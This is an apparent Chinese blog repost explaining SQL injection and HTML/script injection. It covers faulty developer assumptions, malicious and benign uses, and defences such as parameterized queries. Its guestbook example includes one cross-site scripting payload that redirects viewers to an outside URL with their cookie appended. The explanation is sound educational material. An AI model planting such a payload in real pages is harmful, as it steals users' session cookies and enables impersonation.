Sql注入和Html注入
舉例說,有一間公司的網頁服務器上有一個留言板的代碼,用來讓用戶發表簡短的口信,例如:
hello word!!!!
不過,這個代碼原來有漏洞。一個意圖入侵者得悉這間公司采用了有問題的代碼,于是試圖通過留下一條附帶有代碼的口信,例如:
Nice Site,? I think I'll take it.><script>document.location='http://www.cnblogs.com/' +document.cookie</script>
如果另一個用戶查看了該頁,被注入的代碼即運行。該代碼可讓攻擊者扮裝成另一個用戶。然而這個相同的軟件bug可被用戶意外的觸發,亦即造成該網站暴露 HTML?
That post was awesome, :>)
?在這個案例里表情符號可造成 HTML 代碼不對稱,因為不對稱的HTML標簽被注入到代碼里。
大部分這類的問題與哪些可能輸入數據,或者特殊數據效果的錯誤假設相關。一些軟件開發員可能犯下危險假設的經范型例如下:
假設某程序接口使用的元字符永遠不會在輸入中出現;例如假設英文半角標點符號如引號或者半括號永不出現。 假設只有阿拉伯數字字符會當成輸入鍵入。 假設輸入永遠不會超過固定字段大小。 假設阿拉伯數字只會相等或少于上限。 假設阿拉伯數字只會相等或大于下限。 假設用戶端原本服務端提供的默認值 (例如窗體的隱藏字段或者cookie) 無法于用戶端被用戶修改。這種假設忽略了眾所皆知的攻擊如cookie下毒:在此cookie值被惡意用戶強制設置。 假設從輸入端取得指針或者數組索引不會出問題。 假設輸入端永遠不會提供關于它自己或者其他相關值得虛假信息,例如文件大小
惡意用途的代碼注入可包括:
通過SQL注入(見下文)隨意修改數據庫中的值。影響所及可從某網站外觀損毀,到對敏感數據嚴重的破壞。 當用戶拜訪惡意網站時,通過網頁瀏覽器或其插件的漏洞安全隱患,進行代碼注射,以便安裝流氓軟件到用戶機器上。 通過PHP或者ASP注入安裝流氓軟件或者運行惡意代碼于服務器端。 于UNIX系統利用Shell注入安全隱患對setuid root二進制數據作修改,達成提權到root使用權限的目的。 于視窗系統利用Shell注入安全隱患對系統服務做手腳,達成提權到本地端系統使用權限的目的。 從網頁瀏覽器利用HTML/腳本注入(跨網站腳本)進行連接竊取 / cookies竊取進而冒充他人,取得他人個人敏感數據。
善意使用 某些人可能會出于善意而使用代碼注射。例如,通過代碼注射以改變或者調試某程序或者系統的行為可以"擺弄"系統以某種方式表現其行為而不懷任何惡意。打比方說:
代碼注射可以添入某原本搜索結果頁面設計上沒有的字段,方便用戶。 通過對原本設計默認函數沒有曝光的字段賦值,代碼注射可提供一個全新的方式來過濾、排序、或者歸類數據。 這些人訴諸此種替代手段大致是下面幾種原因之一:
對軟件中希望改進函數進行潤飾的其他方法證明不可能,或者 其他對軟件修改的方式代價過高,或者 其他對軟件修改的方式過度艱苦。 一般開發社區對以此為目的的代碼注射不表歡迎。他們稱這種行為為三腳貓、半調子、或者駭 / 黑程序。(kludge or hack)
某些開發者允許或者甚至表揚代碼注射的使用來“加強”他們的軟件;通常是因為該方案提供了較不昂貴的方式來實現新的或者特殊化的功能。不幸的是,其副作用與無法列管的蘊含式可能相當危險。
一般來說,即使相當善意的代碼注射使用都不被建議使用。
非蓄意的用途 某些用戶可能會不經意的進行代碼注射,因為他們對程序提供的輸入沒列在當初開發系統者的考慮中。例如:
用戶可能視某個包含表示字符或者字符字符串為合法輸入,而不知該字符被開發者所保留而有特殊意義 (像 "張三 & 李四" 里的 "&" 字符,或者英文約翰的 M&M 巧克力: "John's M&M's"里頭的單引號)。 用戶可能會提交格式錯亂的文件做為輸入。這種行為對單一程序沒什么問題,但可能對整個接收系統是災難。
避免代碼注射 要避免代碼注射的種種問題,得充分發揮輸入輸出處理保全,例如:
輸入確認。 更換危險字符。例如在PHP通過addslashes()函數保護SQL注入。 輸入編碼。 輸出編碼。 采用其他沒有飽受代碼注入漏洞困擾的編程實現,例如“參數化SQL查詢” ("parameterized SQL queries" 又名 "prepared statements" 亦有時稱 "bind variables") 。
轉載于:https://www.cnblogs.com/cooper/archive/2010/03/23/1692792.html
總結
以上是生活随笔為你收集整理的Sql注入和Html注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: JS 伸缩效果代码 (上下伸缩)
- 下一篇: 求万能天涯看看这个是什么饼干?